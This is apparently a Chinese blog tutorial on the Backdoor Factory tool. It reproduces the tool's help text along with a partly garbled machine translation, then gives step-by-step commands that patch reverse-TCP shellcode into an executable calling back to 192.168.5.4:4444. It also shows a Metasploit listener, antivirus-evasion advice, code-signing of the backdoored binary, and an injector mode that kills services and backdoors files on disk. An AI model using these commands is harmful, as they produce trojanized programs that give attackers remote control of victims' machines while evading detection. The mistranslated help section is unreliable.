水一水最近玩的工具 弄 dll 注入的时候用到的
介绍这款老工具 免杀效果一般.. 但是简单实用
目录:
0x01 backdoor-factory 简介
0x02 特点功能
0x03 具体参数使用
PS: 后门添加私钥证书
- https://tools.kali.org/exploitation-tools/backdoor-factory
- https://github.com/secretsquirrel/the-backdoor-factory
0x01 backdoor-factory 简介
后门工厂(BDF)
BDF 的目标是用用户所需的 shell 代码对可执行二进制文件进行补丁, 并继续正常执行预补丁状态.
在渗透测试中, 后门程序帮助渗透测试人员在目标机器上执行各种预期的操作. 例如, 它可以建立从目标主机到攻击机的网络连接, 方便渗透测试人员控制目标主机. Kali Linux 提供一个后门构建工具 Backdoor Factory. 该工具支持 Windows PE 和 Linux ELF 两种运行机制的可执行文件.
利用该工具, 用户可以在不破坏原有可执行文件的功能的前提下, 在文件的代码裂隙中插入恶意代码 Shellcode. 当可执行文件被执行后, 就可以触发恶意代码. Backdoor Factory 不仅提供常用的脚本, 还允许嵌入其他工具生成的 Shellcode, 如 Metasploit.
- [email protected]:~# backdoor-factory
- __________ __ .___
- \______ \_____ ____ | | __ __| _/____ ___________
- | | _/\__ \ _/ ___\| |/ // __ |/ _ \ / _ \_ __ \
- | | \ / __ \\ \___| <//_/ ( <_> | <_> ) | \/
- |______ /(____ /\___>__|_ \____ |\____/ \____/|__|
- \/ \/ \/ \/ \/
- ___________ __
- \_ _____/____ _____/ |_ ___________ ___.__.
- | __) \__ \ _/ ___\ __\/ _ \_ __ <| |
- | \ / __ \\ \___| | ( <_> ) | \/\___ |
- \___ / (____ /\___>__| \____/|__| / ____|
- \/ \/ \/ \/
- Author: Joshua Pitts
- Email: the.midnite.runr[-at ]gmail<d o-t>com
- Twitter: @midnite_runr
- IRC: freenode.NET #BDFactory
- Version: 3.4.2
- Usage: backdoor-factory [options]
- Options:
- -h, --help show this help message and exit
- -f FILE, --file=FILE File to backdoor
- -s SHELL, --shell=SHELL
- Payloads that are available for use. Use 'show' to see
- payloads.
- -H HOST, --hostip=HOST
- IP of the C2 for reverse connections.
- -P PORT, --port=PORT The port to either connect back to for reverse shells
- or to listen on for bind shells
- -J, --cave_jumping Select this options if you want to use code cave
- jumping to further hide your shellcode in the binary.
- -a, --add_new_section
- Mandating that a new section be added to the exe
- (better success) but Less av avoidance
- -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
- User supplied shellcode, make sure that it matches the
- architecture that you are targeting.
- -c, --cave The cave flag will find code caves that can be used
- for stashing shellcode. This will print to all the
- code caves of a specific size.The -l flag can be use
- with this setting.
- -l SHELL_LEN, --shell_length=SHELL_LEN
- For use with -c to help find code caves of different
- sizes
- -o OUTPUT, --output-file=OUTPUT
- The backdoor output file
- -n NSECTION, --section=NSECTION
- New section name must be Less than seven characters
- -d DIR, --directory=DIR
- This is the location of the files that you want to
- backdoor. You can make a directory of file backdooring
- faster by forcing the attaching of a codecave to the
- exe by using the -a setting.
- -w, --change_access This flag changes the section that houses the codecave
- to RWE. Sometimes this is necessary. Enabled by
- default. If disabled, the backdoor may fail.
- -i, --injector This command turns the backdoor factory in a hunt and
- shellcode inject type of mechanism. Edit the target
- settings in the injector module.
- -u SUFFIX, --suffix=SUFFIX
- For use with injector, places a suffix on the original
- file for easy recovery
- -D, --delete_original
- For use with injector module. This command deletes
- the original file. Not for use in production systems.
- *Author not responsible for stupid uses.*
- -O DISK_OFFSET, --disk_offset=DISK_OFFSET
- Starting point on disk offset, in bytes. Some authors
- want to obfuscate their on disk offset to avoid
- reverse engineering, if you find one of those files
- use this flag, after you find the offset.
- -S, --support_check To determine if the file is supported by BDF prior to
- backdooring the file. For use by itself or with
- verbose. This check happens automatically if the
- backdooring is attempted.
- -M, --cave-miner Future use, to help determine smallest shellcode
- possible in a PE file
- -q, --no_banner Kills the banner.
- -v, --verbose For debug information output.
- -T IMAGE_TYPE, --image-type=IMAGE_TYPE
- ALL, x86, or x64 type binaries only. Default=ALL
- -Z, --zero_cert Allows for the overwriting of the pointer to the PE
- certificate table effectively removing the certificate
- from the binary for all intents and purposes.
- -R, --runas_admin EXPERIMENTAL Checks the PE binaries for
- 'requestedExecutionLevel level="highestAvailable"'. If
- this string is included in the binary, it must run as
- system/admin. If not in Support Check mode it will
- attmept to patch highestAvailable into the manifest if
- requestedExecutionLevel entry exists.
- -L, --patch_dll Use this setting if you DON'T want to patch DLLs.
- Patches by default.
- -F FAT_PRIORITY, --fat_priority=FAT_PRIORITY
- For MACH-O format. If fat file, focus on which arch to
- patch. Default is x64. To force x86 use -F x86, to
- force both archs use -F ALL.
- -B BEACON, --beacon=BEACON
- For payloads that have the ability to beacon out, set
- the time in secs
- -m PATCH_METHOD, --patch-method=PATCH_METHOD
- Patching methods for PE files, 'manual','automatic',
- replace and onionduke
- -b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY
- For onionduke. Provide your desired binary.
- -X, --xp_mode Default: DO NOT support for XP legacy machines, use -X
- to support XP. By default the binary will crash on XP
- machines (e.g. sandboxes)
- -A, --idt_in_cave EXPERIMENTAL By default a new Import Directory Table
- is created in a new section, by calling this flag it
- will be put in a code cave. This can cause bianry
- failure is some cases. Test on target binaries first.
- -C, --code_sign For those with codesigning certs wishing to sign PE
- binaries only. Name your signing key and private key
- signingcert.cer and signingPrivateKey.pem repectively
- in the certs directory it's up to you to obtain
- signing certs.
- -p, --preprocess To execute preprocessing scripts in the preprocess
- directory
-h,--help 显示此帮助消息并退出
-f 文件,--FILE =FILE 文件到后门
- s 壳, 壳 = 壳
可用的有效载荷. 用 show 去看
有效载荷.
- h 主机, hostip = 主机
用于反向连接的 C2 的 IP.
-P 端口,--PORT = 端口用于连接回 shell 的端口
或者监听绑定的外壳
如果您想使用 code cave, 请选择此选项
跳转到进一步隐藏二进制代码中的 shell 代码.
----add_new_section
命令向 exe 添加一个新的部分
(更好的成功)但更少的 av 回避
- u SUPPLIED_SHELLCODE, user_shellcode = SUPPLIED_SHELLCODE
用户提供的 shell 代码, 确保它匹配
您的目标体系结构.
洞穴标志将找到可以使用的代码洞穴
用来存放 shellcode. 这将打印到所有
特定大小的代码洞穴. 可以使用 - l 标志
这个设置.
- l SHELL_LEN, shell_length = SHELL_LEN
用于与 - c 一起使用, 以帮助查找不同的代码洞穴
大小
- o 输出, 输出文件 = 输出
后门输出文件
= NSECTION - n NSECTION, 部分
新节名必须小于 7 个字符
= DIR - d DIR, 目录
这是您想要的文件的位置
后门. 您可以创建一个文件回滚目录
通过强制将编解码器附加到
通过使用 - a 设置执行 exe.
-w,--change_access 这个标志改变了存储 codecave 的部分
莱茵集团. 有时这是必要的. 通过
违约. 如果禁用, 后门可能会失败.
-i,--injector 这个命令将后门工厂变成一个狩猎和
shell 代码注入机制的类型. 编辑目标
注入器模块中的设置.
- u 后缀, 后缀 = 后缀
若要与注入器一起使用, 请在原始文件上加上后缀
易于恢复的文件
- d, delete_original
与注入器模块一起使用. 这个命令删除
原始文件. 不用于生产系统.
作者不对愚蠢的使用负责
- o DISK_OFFSET, DISK_OFFSET = DISK_OFFSET
磁盘偏移量上的起始点, 单位为字节. 一些作者
要混淆它们在磁盘上的偏移量以避免
逆向工程, 如果你找到其中一个文件
找到偏移量后使用此标志.
-S,--support_check, 以确定该文件是否在之前得到 BDF 的支持
秘密文件. 单独使用或与他人一起使用
详细的. 如果., 则自动执行此检查
后门是未遂.
-M,-- 洞穴挖掘器的未来用途, 以帮助确定最小的 shell 代码
可能在 PE 文件中
-q, -no_banner 杀死了 banner.
-v,-- 用于调试信息输出的详细信息.
- t IMAGE_TYPE, 图像类型 = IMAGE_TYPE
所有, 仅 x86 或 x64 类型二进制文件. 默认 = 所有
-Z,--zero_cert 允许覆盖指向 PE 的指针
证书表有效地删除了证书
从二进制的所有意图和目的.
runas_admin 实验检查 PE 二进制文件
'requestedExecutionLevel 水平 ="highestAvailable". 如果
这个字符串包含在二进制文件中, 它必须以
系统 / 管理. 如果没有在支持检查模式, 它会
如果是的话, 修改清单中的 highestAvailable
requestedExecutionLevel 条目存在.
如果不想对 dll 进行补丁, 可以使用此设置.
默认情况下补丁.
- f FAT_PRIORITY, FAT_PRIORITY = FAT_PRIORITY
MACH-O 格式. 如果胖档, 重点放在哪个拱门上
补丁. 默认是 x64. 要强制 x86 使用 - F x86
两个顶点都使用 - F ALL.
- b 灯塔, 灯塔 = 灯塔
对于具有信标能力的有效载荷, 设置
时间以秒为单位
- m PATCH_METHOD, patch-method = PATCH_METHOD
PE 文件修补方法,"手动","自动",
- b SUPPLIED_BINARY, user_malware = SUPPLIED_BINARY
onionduke. 提供所需的二进制文件.
-X,--xp_mode 默认值: 不支持 XP 遗留机器, 使用 - X
支持 XP. 默认情况下, 二进制文件将在 XP 上崩溃
机器(如沙箱)
-A,--idt_in_cave 实验默认情况下一个新的导入目录表
是在一个新的部分中创建的, 通过调用这个标志吗
将被放入一个代码洞穴. 这会导致变节
失败是一些例子. 首先测试目标二进制文件.
-C,--code_sign 为那些与合作设计 cert 希望签署 PE
二进制文件. 命名您的签名密钥和私钥
signingcert.cer signingPrivateKey.pem 安排
在 certs 目录中, 由您来获取
签字确实的事情.
在预处理过程中执行预处理脚本
目录
0x02 特点功能
原理: 可执行二进制文件中有大量的 00, 这些 00 是不包含数据的, 将这些数据替换成 payload, 并且在程序执行的时候, jmp 到代码段, 来触发 payload.
利用其 patch 方式的编码加密技术, 可以轻松的生成 win32PE 后门程序, 从而帮助我们绕过一些防病毒软件的查杀, 达到一定得免杀效果
工具的一些特点:
patch
通过替换 exe,dll, 注册表等方法修复系统漏洞或问题的方法
bdf: 向二进制文件中增加或者删除代码内容
某些受保护的二进制程序无法 patch
存在一定概率问价你会被 patch 坏掉
使用于 Windows PE x32/64 和 Linux ELF x32/64 (OS X)
支持 msf payload, 自定义 payload
将 shellcode 代码 patch 进模板文件, 躲避 AV 检查
python 语言编写
msf 使用的 patch 方法
覆盖程序入口
msfvenom -p Windows/shell/reverse_tcp
创建新的线程执行 shellcode 并跳回原程序入口
msfvenom -p Windows/shell/reverse_tcp -k
增加代码片段跳转执行后跳回源程序入口
CTP 方法
增加新的代码段 session, 与 msfvenom 的 - k 方法类似
使用现有的代码裂缝 / 洞 (code cave) 存放 shellcode
代码洞
二进制中超过两个字节的连续 x00 区域(代码片段间区域)
根据统计判断代码洞是编译在进行编译是造成的, 不同的编译器造成的代码洞的大小不同
单个代码洞代销不足以存放完整的 shellcode
多代码洞跳转(非顺序执行)
初期免杀率可达 100%
结合 msf 的 stager 方法
0x03 具体参数使用
提一下 不要 kali 自带的 是个坑.
随着拿个 exe 小葵转换工具. exe
安装 GitHub 都有.
查看是否支持后门 patch
-f: 指定测试程序
-S: 检查该程序是否支持 patch
backdoor-factory -f kui.exe -S
指定的 shellcode patch
- backdoor-factory -f kui.exe -c -l 200
- -c:code cave(代码裂缝)
-l: 代码裂缝大小
查看支持哪些 payload 的注入:
backdoor-factory -f kui.exe -s show
注入 payload
backdoor-factory -f kui.exe -s iat_reverse_tcp_stager_threaded -H 192.168.5.4 -P 4444
-s: 选择使用 payload 类型
-H: 选择回连服务器地址
-P: 回连服务器端口
选择了 code cave 的序号即可完成
msf 监听:
- use exploit/multi/handler
- set payload Windows/meterpreter/reverse_tcp
- set lhost 192.168.5.3
- set lport 4444
- exploit
对比原文件与生成文件 MD5 值
md5sum ./kui.exe /root/kui.exe
常用参数
-c:code cave(代码裂缝)
-l: 代码裂缝大小
-s: 选择使用 payload 类型
-H: 选择回连服务器地址
-P: 回连服务器端口
-J: 使用多代码裂缝注入
PS: 看手册是可以添加自己的私钥证书在我们的马儿里面~~~
看了网上好像没人写这个
使用: 将私钥放在一个文件里:
echo -n yourpassword> certs/passFile.txt
证书格式:
- signingCert.cer => certs/signingCert.cer
- signingPrivateKey.pem => certs/signingPrivateKey.pem
证书目录:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
这时候我们需要使用 C 参数 生成 win32pe 代码裂缝插入私钥部分.
例子:
- ./backdoor.py -f kui.exe -s iat_reverse_tcp_inline -H 192.168.5.4 -P 4444 -m automatic -C
- [*] Code Signing Succeeded
- ###Hunt and backdoor: Injector | Windows Only The injector module will look for target executables to backdoor on disk. It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.
这里还可以选择在 python 字典的注入模块 这个没试 有空研究下
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
来源: http://www.bubuko.com/infodetail-3173210.html